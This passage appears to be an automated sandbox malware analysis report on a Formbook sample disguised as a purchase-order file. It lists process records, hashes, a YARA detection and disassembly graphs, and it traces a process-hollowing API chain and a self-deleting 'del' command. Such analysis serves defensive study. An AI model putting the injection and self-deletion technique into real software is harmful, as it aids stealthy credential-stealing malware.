                                                                                                                                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                                                          Has exited:false

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:15
                                                                                                                                                                                                          Start time:09:16:15
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:/c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
                                                                                                                                                                                                          Imagebase:0x410000
                                                                                                                                                                                                          File size:236'544 bytes
                                                                                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:16
                                                                                                                                                                                                          Start time:09:16:15
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          Imagebase:0x7ff75da10000
                                                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:20
                                                                                                                                                                                                          Start time:10:40:45
                                                                                                                                                                                                          Start date:14/10/2024
                                                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          Imagebase:0x7ff75da10000
                                                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Reputation:high
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          Disassembly

                                                                                                                                                                                                          Reset < >

                                                                                                                                                                                                            Execution Graph

                                                                                                                                                                                                            Execution Coverage:9.7%
                                                                                                                                                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                                                                                                                                                            Signature Coverage:0%
                                                                                                                                                                                                            Total number of Nodes:149
                                                                                                                                                                                                            Total number of Limit Nodes:7
                                                                                                                                                                                                            execution_graph 32238 12a4668 32239 12a4672 32238->32239 32241 12a4759 32238->32241 32242 12a477d 32241->32242 32246 12a4868 32242->32246 32250 12a4858 32242->32250 32248 12a488f 32246->32248 32247 12a496c 32247->32247 32248->32247 32254 12a44b4 32248->32254 32252 12a488f 32250->32252 32251 12a496c 32251->32251 32252->32251 32253 12a44b4 CreateActCtxA 32252->32253 32253->32251 32255 12a58f8 CreateActCtxA 32254->32255 32257 12a59bb 32255->32257 32258 72c3eea 32259 72c3ebe 32258->32259 32260 72c405e 32259->32260 32264 72c56f6 32259->32264 32279 72c5681 32259->32279 32293 72c5690 32259->32293 32265 72c5684 32264->32265 32267 72c56f9 32264->32267 32266 72c56b2 32265->32266 32307 72c5b99 32265->32307 32312 72c5b5e 32265->32312 32316 72c5d5d 32265->32316 32320 72c5c6d 32265->32320 32326 72c5c3d 32265->32326 32331 72c5df0 32265->32331 32336 72c5ea7 32265->32336 32340 72c5f87 32265->32340 32344 72c5ab6 32265->32344 32348 72c5b44 32265->32348 32353 72c5cea 32265->32353 32266->32260 32267->32260 32280 72c568a 32279->32280 32281 72c5c3d 2 API calls 32280->32281 32282 72c5c6d 2 API calls 32280->32282 32283 72c5d5d 2 API calls 32280->32283 32284 72c5b5e 2 API calls 32280->32284 32285 72c5b99 2 API calls 32280->32285 32286 72c5cea 2 API calls 32280->32286 32287 72c5b44 2 API calls 32280->32287 32288 72c5ab6 2 API calls 32280->32288 32289 72c56b2 32280->32289 32290 72c5f87 2 API calls 32280->32290 32291 72c5ea7 2 API calls 32280->32291 32292 72c5df0 2 API calls 32280->32292 32281->32289 32282->32289 32283->32289 32284->32289 32285->32289 32286->32289 32287->32289 32288->32289 32289->32260 32290->32289 32291->32289 32292->32289 32294 72c569e 32293->32294 32295 72c5c3d 2 API calls 32294->32295 32296 72c5c6d 2 API calls 32294->32296 32297 72c5d5d 2 API calls 32294->32297 32298 72c5b5e 2 API calls 32294->32298 32299 72c5b99 2 API calls 32294->32299 32300 72c5cea 2 API calls 32294->32300 32301 72c5b44 2 API calls 32294->32301 32302 72c5ab6 2 API calls 32294->32302 32303 72c56b2 32294->32303 32304 72c5f87 2 API calls 32294->32304 32305 72c5ea7 2 API calls 32294->32305 32306 72c5df0 2 API calls 32294->32306 32295->32303 32296->32303 32297->32303 32298->32303 32299->32303 32300->32303 32301->32303 32302->32303 32303->32260 32304->32303 32305->32303 32306->32303 32308 72c5b9f 32307->32308 32358 72c3118 32308->32358 32362 72c3112 32308->32362 32309 72c5bc5 32309->32266 32366 72c3888 32312->32366 32370 72c3881 32312->32370 32313 72c5b80 32313->32266 32374 72c3798 32316->32374 32378 72c3790 32316->32378 32317 72c5d8b 32321 72c5c72 32320->32321 32322 72c6375 32321->32322 32382 72c31c8 32321->32382 32386 72c31c2 32321->32386 32323 72c5f68 32327 72c5c49 32326->32327 32329 72c3798 WriteProcessMemory 32327->32329 32330 72c3790 WriteProcessMemory 32327->32330 32328 72c5b25 32328->32266 32329->32328 32330->32328 32332 72c5df8 32331->32332 32334 72c3798 WriteProcessMemory 32332->32334 32335 72c3790 WriteProcessMemory 32332->32335 32333 72c5b25 32333->32266 32334->32333 32335->32333 32338 72c31c8 Wow64SetThreadContext 32336->32338 32339 72c31c2 Wow64SetThreadContext 32336->32339 32337 72c5ec1 32338->32337 32339->32337 32390 72c36d8 32340->32390 32394 72c36d0 32340->32394 32341 72c5f0e 32341->32340 32398 72c3a14 32344->32398 32402 72c3a20 32344->32402 32345 72c5b00 32349 72c5b4a 32348->32349 32351 72c3798 WriteProcessMemory 32349->32351 32352 72c3790 WriteProcessMemory 32349->32352 32350 72c5e82 32350->32266 32351->32350 32352->32350 32354 72c5bb0 32353->32354 32355 72c5bc5 32353->32355 32356 72c3118 ResumeThread 32354->32356 32357 72c3112 ResumeThread 32354->32357 32355->32266 32356->32355 32357->32355 32359 72c3158 ResumeThread 32358->32359 32361 72c3189 32359->32361 32361->32309 32363 72c3118 ResumeThread 32362->32363 32365 72c3189 32363->32365 32365->32309 32367 72c38d3 ReadProcessMemory 32366->32367 32369 72c3917 32367->32369 32369->32313 32371 72c3888 ReadProcessMemory 32370->32371 32373 72c3917 32371->32373 32373->32313 32375 72c37db WriteProcessMemory 32374->32375 32377 72c3837 32375->32377 32377->32317 32379 72c3796 WriteProcessMemory 32378->32379 32381 72c3837 32379->32381 32381->32317 32383 72c320d Wow64SetThreadContext 32382->32383 32385 72c3255 32383->32385 32385->32323 32387 72c31c8 Wow64SetThreadContext 32386->32387 32389 72c3255 32387->32389 32389->32323 32391 72c3718 VirtualAllocEx 32390->32391 32393 72c3755 32391->32393 32393->32341 32395 72c36d8 VirtualAllocEx 32394->32395 32397 72c3755 32395->32397 32397->32341 32399 72c3a20 CreateProcessA 32398->32399 32401 72c3c6b 32399->32401 32401->32401 32403 72c3aa9 CreateProcessA 32402->32403 32405 72c3c6b 32403->32405 32405->32405 32406 12ad6a0 32407 12ad6e6 32406->32407 32411 12ad870 32407->32411 32414 12ad880 32407->32414 32408 12ad7d3 32417 12ab2f4 32411->32417 32415 12ad8ae 32414->32415 32416 12ab2f4 DuplicateHandle 32414->32416 32415->32408 32416->32415 32418 12ad8e8 DuplicateHandle 32417->32418 32419 12ad8ae 32418->32419 32419->32408 32430 12ab310 32433 12ab3f8 32430->32433 32431 12ab31f 32434 12ab43c 32433->32434 32435 12ab419 32433->32435 32434->32431 32435->32434 32436 12ab640 GetModuleHandleW 32435->32436 32437 12ab66d 32436->32437 32437->32431 32420 72c6740 32421 72c68cb 32420->32421 32422 72c6766 32420->32422 32422->32421 32425 72c69b8 32422->32425 32428 72c69c0 PostMessageW 32422->32428 32426 72c69c0 PostMessageW 32425->32426 32427 72c6a2c 32426->32427 32427->32422 32429 72c6a2c 32428->32429 32429->32422

                                                                                                                                                                                                            Executed Functions

                                                                                                                                                                                                            Function 08917B30 Relevance: 5.5, Strings: 4, Instructions: 527COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 294 8917b30-8917b58 295 8917b5a 294->295 296 8917b5f-8917cbd 294->296 295->296 307 89182e4-89182f0 296->307 308 8917cc2-8917cce 307->308 309 89182f6-89182fd 307->309 310 8917cd0 308->310 311 8917cd5-8917d21 308->311 310->311 314 8917d91-8917d95 311->314 315 8917d23-8917d41 314->315 316 8917d97-8917dc9 314->316 319 8917d53-8917d59 315->319 320 8917d43-8917d51 315->320 323 8917df3 316->323 324 8917dcb-8917dd7 316->324 322 8917d88-8917d8c 319->322 320->316 325 8917d5b-8917d67 322->325 326 8917d8e 322->326 331 8917df9-8917e26 323->331 327 8917de1-8917de7 324->327 328 8917dd9-8917ddf 324->328 329 8917d69 325->329 330 8917d6e-8917d76 325->330 326->314 332 8917df1 327->332 328->332 329->330 333 8917d85 330->333 334 8917d78-8917d83 330->334 337 8917e75-8917f0b 331->337 338 8917e28-8917e60 331->338 332->331 333->322 334->326 349 8917f5c-8917f62 337->349 343 89182bb-89182e1 338->343 343->307 350 8917f64-8918026 349->350 351 8917f0d-8917f2c 349->351 362 8918067-891806b 350->362 363 8918028-8918061 350->363 352 8917f33-8917f59 351->352 353 8917f2e 351->353 352->349 353->352 364 891806d-89180a6 362->364 365 89180ac-89180b0 362->365 363->362 364->365 367 89180f1-89180f5 365->367 368 89180b2-89180eb 365->368 369 89180f7-89180ff 367->369 370 891814e-89181a9 367->370 368->367 372 8918146-891814c 369->372 378 89181e0-891820a 370->378 379 89181ab-89181de 370->379 372->370 374 8918101-8918143 372->374 374->372 383 8918213-8918292 378->383 379->383 387 8918299-89182ac 383->387 387->343
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: 4'q$:$pq$~
                                                                                                                                                                                                            • API String ID: 0-4038137657
                                                                                                                                                                                                            • Opcode ID: bfeae4ea9e3ffdd76878e3f6b2325269641530fb7ef9c9207a1ef530bfd8af77
                                                                                                                                                                                                            • Instruction ID: 44cd5ca16b6dc2d69f1d93b05cbf33a8de85506119eab6f3199d3aafad6af507
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bfeae4ea9e3ffdd76878e3f6b2325269641530fb7ef9c9207a1ef530bfd8af77
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A232F175A04228DFDB15DFA8C980B98BBB2FF48304F1580E9E509AB365CB31AD91DF50
                                                                                                                                                                                                            Function 072C7468 Relevance: .6, Instructions: 627COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: cc595a1e0be7b7d590166f62490d202ef20062f3bb10d0ba7bcdd7427680972a
                                                                                                                                                                                                            • Instruction ID: e98215b5e294036febb8ba3bf4027e7948aeef646949712973583d1ad2978130
                                                                                                                                                                                                            • Opcode Fuzzy Hash: cc595a1e0be7b7d590166f62490d202ef20062f3bb10d0ba7bcdd7427680972a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 41329BB0B112068FDB29DB69C550BAEBBF6AF98700F24456DE5069B3A1CB34ED01CF51
                                                                                                                                                                                                            Function 0891D44F Relevance: .1, Instructions: 73COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: 74a0d0775cf4219ed0ef90feed11dea44e7973e0af501a6166c37c39fa4f35ab
                                                                                                                                                                                                            • Instruction ID: 9726418f37b9db803606399bfabc37e1773ea7d4869299dbf0964c15963674dc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 74a0d0775cf4219ed0ef90feed11dea44e7973e0af501a6166c37c39fa4f35ab
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F321F7B0D096189BEB18CFA7C9543EEFFB6BFC9300F04C46AD40966255DB74094A8F50
                                                                                                                                                                                                            Function 089149FA Relevance: 2.6, Strings: 2, Instructions: 71COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 454 89149fa-8914a18 455 8914a44-8914a8e 454->455 456 8914a1a-8914a41 454->456 463 8914a94-8914aa2 455->463 465 8914ab1 463->465 466 8914aa4-8914aaf 463->466 467 8914ab3-8914abf 465->467 466->467
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: (q$Z
                                                                                                                                                                                                            • API String ID: 0-2701358333
                                                                                                                                                                                                            • Opcode ID: 25f85e438d8b80c99a42245ceb43825b69372d49f3083aca9439c74d02ce4bfb
                                                                                                                                                                                                            • Instruction ID: f49ad52ce0621ab093951aa7313fddba25f2eac2e5a3c01f6a557cc35735c1e0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 25f85e438d8b80c99a42245ceb43825b69372d49f3083aca9439c74d02ce4bfb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1121CF71A083448FD705DF79E800699BFF5EF49310B28C5AAE809CB663DA35DD05CBA5
                                                                                                                                                                                                            Function 0891BAE0 Relevance: 2.6, Strings: 2, Instructions: 62COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 469 891bae0-891bb00 471 891bb02-891bb13 469->471 472 891bb34-891bb45 469->472 477 891bb15 471->477 478 891bb1a-891bb32 call 8917b30 471->478 473 891bba1-891bba7 472->473 474 891bb47-891bb53 472->474 479 891bb55 474->479 480 891bb5a-891bb72 call 8917b30 474->480 477->478 479->480
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: ,$-
                                                                                                                                                                                                            • API String ID: 0-2049039173
                                                                                                                                                                                                            • Opcode ID: 2a3b393421fa013f8edc051d38d086ca6ab84df7fc5703e82ec4c0f0c6b8082d
                                                                                                                                                                                                            • Instruction ID: 07ffa49995f8ed14967a29eed57969a050369c5f9c97a0ee4be1781fcf623cb4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2a3b393421fa013f8edc051d38d086ca6ab84df7fc5703e82ec4c0f0c6b8082d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2511E52068F3CCAFDB12AB74A8216E87F799B83215F0804C7C4C9579A3CA244944D356
                                                                                                                                                                                                            Function 072C3A14 Relevance: 1.8, APIs: 1, Instructions: 251processCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 489 72c3a14-72c3ab5 492 72c3aee-72c3b0e 489->492 493 72c3ab7-72c3ac1 489->493 498 72c3b47-72c3b76 492->498 499 72c3b10-72c3b1a 492->499 493->492 494 72c3ac3-72c3ac5 493->494 496 72c3ae8-72c3aeb 494->496 497 72c3ac7-72c3ad1 494->497 496->492 500 72c3ad5-72c3ae4 497->500 501 72c3ad3 497->501 509 72c3baf-72c3c69 CreateProcessA 498->509 510 72c3b78-72c3b82 498->510 499->498 502 72c3b1c-72c3b1e 499->502 500->500 503 72c3ae6 500->503 501->500 504 72c3b20-72c3b2a 502->504 505 72c3b41-72c3b44 502->505 503->496 507 72c3b2c 504->507 508 72c3b2e-72c3b3d 504->508 505->498 507->508 508->508 511 72c3b3f 508->511 521 72c3c6b-72c3c71 509->521 522 72c3c72-72c3cf8 509->522 510->509 512 72c3b84-72c3b86 510->512 511->505 514 72c3b88-72c3b92 512->514 515 72c3ba9-72c3bac 512->515 516 72c3b94 514->516 517 72c3b96-72c3ba5 514->517 515->509 516->517 517->517 518 72c3ba7 517->518 518->515 521->522 532 72c3d08-72c3d0c 522->532 533 72c3cfa-72c3cfe 522->533 535 72c3d1c-72c3d20 532->535 536 72c3d0e-72c3d12 532->536 533->532 534 72c3d00 533->534 534->532 538 72c3d30-72c3d34 535->538 539 72c3d22-72c3d26 535->539 536->535 537 72c3d14 536->537 537->535 541 72c3d46-72c3d4d 538->541 542 72c3d36-72c3d3c 538->542 539->538 540 72c3d28 539->540 540->538 543 72c3d4f-72c3d5e 541->543 544 72c3d64 541->544 542->541 543->544 546 72c3d65 544->546 546->546
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 072C3C56
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateProcess
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 963392458-0
                                                                                                                                                                                                            • Opcode ID: 7e6c80947c361df4e75be88cf5be53a89447a071850ebd205a23482eba0b22c2
                                                                                                                                                                                                            • Instruction ID: 8ea67f6ef3ce78649a44caf61ab87a6b940249e6ae1df10a92a17182e6bacfcd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7e6c80947c361df4e75be88cf5be53a89447a071850ebd205a23482eba0b22c2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 89A17DB1D1031A9FDB24DF69C8417EDBBB1FF58310F148669E808A7240DB759981CF92
                                                                                                                                                                                                            Function 072C3A20 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 547 72c3a20-72c3ab5 549 72c3aee-72c3b0e 547->549 550 72c3ab7-72c3ac1 547->550 555 72c3b47-72c3b76 549->555 556 72c3b10-72c3b1a 549->556 550->549 551 72c3ac3-72c3ac5 550->551 553 72c3ae8-72c3aeb 551->553 554 72c3ac7-72c3ad1 551->554 553->549 557 72c3ad5-72c3ae4 554->557 558 72c3ad3 554->558 566 72c3baf-72c3c69 CreateProcessA 555->566 567 72c3b78-72c3b82 555->567 556->555 559 72c3b1c-72c3b1e 556->559 557->557 560 72c3ae6 557->560 558->557 561 72c3b20-72c3b2a 559->561 562 72c3b41-72c3b44 559->562 560->553 564 72c3b2c 561->564 565 72c3b2e-72c3b3d 561->565 562->555 564->565 565->565 568 72c3b3f 565->568 578 72c3c6b-72c3c71 566->578 579 72c3c72-72c3cf8 566->579 567->566 569 72c3b84-72c3b86 567->569 568->562 571 72c3b88-72c3b92 569->571 572 72c3ba9-72c3bac 569->572 573 72c3b94 571->573 574 72c3b96-72c3ba5 571->574 572->566 573->574 574->574 575 72c3ba7 574->575 575->572 578->579 589 72c3d08-72c3d0c 579->589 590 72c3cfa-72c3cfe 579->590 592 72c3d1c-72c3d20 589->592 593 72c3d0e-72c3d12 589->593 590->589 591 72c3d00 590->591 591->589 595 72c3d30-72c3d34 592->595 596 72c3d22-72c3d26 592->596 593->592 594 72c3d14 593->594 594->592 598 72c3d46-72c3d4d 595->598 599 72c3d36-72c3d3c 595->599 596->595 597 72c3d28 596->597 597->595 600 72c3d4f-72c3d5e 598->600 601 72c3d64 598->601 599->598 600->601 603 72c3d65 601->603 603->603
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 072C3C56
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateProcess
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 963392458-0
                                                                                                                                                                                                            • Opcode ID: a4460c0d32d78d988466103ec9503ca74c62a46523d9e92a757efd4c12f218a9
                                                                                                                                                                                                            • Instruction ID: 319da57f2c4385e72eae90fef01dc5584378c36fd24e5b3ee516da3413353d19
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a4460c0d32d78d988466103ec9503ca74c62a46523d9e92a757efd4c12f218a9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 82917DB1D1031ADFDB24DF69C841BEDBBB2BF58310F148669E808A7240DB759981CF92
                                                                                                                                                                                                            Function 012AB3F8 Relevance: 1.7, APIs: 1, Instructions: 202COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 604 12ab3f8-12ab417 605 12ab419-12ab426 call 12a9e78 604->605 606 12ab443-12ab447 604->606 612 12ab428 605->612 613 12ab43c 605->613 608 12ab45b-12ab49c 606->608 609 12ab449-12ab453 606->609 615 12ab4a9-12ab4b7 608->615 616 12ab49e-12ab4a6 608->616 609->608 660 12ab42e call 12ab6a0 612->660 661 12ab42e call 12ab690 612->661 613->606 617 12ab4db-12ab4dd 615->617 618 12ab4b9-12ab4be 615->618 616->615 623 12ab4e0-12ab4e7 617->623 620 12ab4c9 618->620 621 12ab4c0-12ab4c7 call 12ab0c0 618->621 619 12ab434-12ab436 619->613 622 12ab578-12ab638 619->622 625 12ab4cb-12ab4d9 620->625 621->625 655 12ab63a-12ab63d 622->655 656 12ab640-12ab66b GetModuleHandleW 622->656 626 12ab4e9-12ab4f1 623->626 627 12ab4f4-12ab4fb 623->627 625->623 626->627 628 12ab508-12ab511 call 12ab0d0 627->628 629 12ab4fd-12ab505 627->629 635 12ab51e-12ab523 628->635 636 12ab513-12ab51b 628->636 629->628 637 12ab541-12ab54e 635->637 638 12ab525-12ab52c 635->638 636->635 645 12ab550-12ab56e 637->645 646 12ab571-12ab577 637->646 638->637 640 12ab52e-12ab53e call 12ab0e0 call 12ab0f0 638->640 640->637 645->646 655->656 657 12ab66d-12ab673 656->657 658 12ab674-12ab688 656->658 657->658 660->619 661->619
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 012AB65E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1260106394.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_12a0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleModule
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4139908857-0
                                                                                                                                                                                                            • Opcode ID: d7cb45265aec8fd90e6ec156ee1bfc163637314988b1df84250ea2f6dc9dc751
                                                                                                                                                                                                            • Instruction ID: fddcac596fd61c17db71e0ac109a0153f98ceebcc490dfe1918b7f6c701e161d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d7cb45265aec8fd90e6ec156ee1bfc163637314988b1df84250ea2f6dc9dc751
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9A818570A10B068FEB24DF2AD45175ABBF1FF88300F408A2DD58AD7A41EB35E845CB91
                                                                                                                                                                                                            Function 012A58EC Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 770 12a58ec-12a58f3 771 12a58f8-12a59b9 CreateActCtxA 770->771 773 12a59bb-12a59c1 771->773 774 12a59c2-12a5a1c 771->774 773->774 781 12a5a2b-12a5a2f 774->781 782 12a5a1e-12a5a21 774->782 783 12a5a40 781->783 784 12a5a31-12a5a3d 781->784 782->781 786 12a5a41 783->786 784->783 786->786
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateActCtxA.KERNEL32(?), ref: 012A59A9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1260106394.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_12a0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2289755597-0
                                                                                                                                                                                                            • Opcode ID: 5134d5d41e8584bfb1b6af13d9d9ca2f6233037daf027ac22790a2b0bc664b07
                                                                                                                                                                                                            • Instruction ID: 96402930db1451221effe99b1284c56f8992bb1924643a155045f50249daaadd
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5134d5d41e8584bfb1b6af13d9d9ca2f6233037daf027ac22790a2b0bc664b07
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6541F2B1D10729CBDB24DFAAC884B8EBBB5BF48314F60805AD508AB251DB756946CF90
                                                                                                                                                                                                            Function 012A44B4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 787 12a44b4-12a59b9 CreateActCtxA 790 12a59bb-12a59c1 787->790 791 12a59c2-12a5a1c 787->791 790->791 798 12a5a2b-12a5a2f 791->798 799 12a5a1e-12a5a21 791->799 800 12a5a40 798->800 801 12a5a31-12a5a3d 798->801 799->798 803 12a5a41 800->803 801->800 803->803
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateActCtxA.KERNEL32(?), ref: 012A59A9
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1260106394.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
